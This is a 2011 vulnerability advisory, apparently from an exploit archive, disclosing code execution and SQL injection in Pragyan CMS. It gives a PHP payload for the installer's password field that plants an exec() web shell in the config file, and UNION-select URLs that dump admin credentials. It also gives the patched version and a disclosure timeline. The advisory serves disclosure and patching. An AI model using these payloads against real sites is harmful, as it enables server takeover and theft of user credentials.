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Pragyan CMS Code Execution / SQL Injection

Pragyan CMS Code Execution / SQL Injection
Posted Feb 25, 2011
Authored by villy

Pragyan CMS versions prior to 3.0 rev 274 suffer from code execution and remote SQL injection vulnerabilities.

tags | exploit, remote, vulnerability, code execution, sql injection
SHA-256 | 8b9afe976dfc4540c9079a9bb30cb84209dbd90c3bd9da57324bcd80fe2a9762

Pragyan CMS Code Execution / SQL Injection

Change Mirror Download
*Affected Software*
Pragyan CMS
Product Link: http://sourceforge.net/projects/pragyan/

Technical Description
1) Code execution in INSTALL/install.php
script not correctly validate entered fields.
possibly write at password field string:

");echo exec($_GET["a"]);echo ("

or in another fields with turned of javascript.
in cms/config.inc.php will be code:
define("MYSQL_PASSWORD","");echo exec($_GET["a"]);echo ("");
which allow command execution.

2) sql injection
- get mysql version
http://host/+view&thread_id=-1 UNION ALL SELECT
null,null,null,null,concat(unhex(Hex(cast(@@version as
char)))),null,null,null--
- get admin account
http://host/+view&thread_id=-1 UNION ALL SELECT null,null,null,null,(SELECT
concat(0x7e,0x27,unhex(Hex(cast(pragyanV3_users.user_id as
char))),0x3a,unhex(Hex(cast(pragyanV3_users.user_name as
char))),0x3a,unhex(Hex(cast(pragyanV3_users.user_email as
char))),0x3a,unhex(Hex(cast(pragyanV3_users.user_password as
char))),0x3a,unhex(Hex(cast(pragyanV3_users.user_fullname as
char))),0x27,0x7e) FROM `pragyan11`.pragyanV3_users LIMIT
0,1),null,null,null--

Solution
update to Pragyan CMS 3.0 rev.274

Changelog
2011-19-02 : Initial release
2011-20-02 : Reported to vendor
2011-25-02 : patch released
2011-25-02 : public disclose

Credits
Abhishek Lyall <http://aslitsecurity.blogspot.com/>
pragyan.org
http://egoistka.org.ua/


--------------------
Best wishes,
villy
http://bugix-security.blogspot.com/
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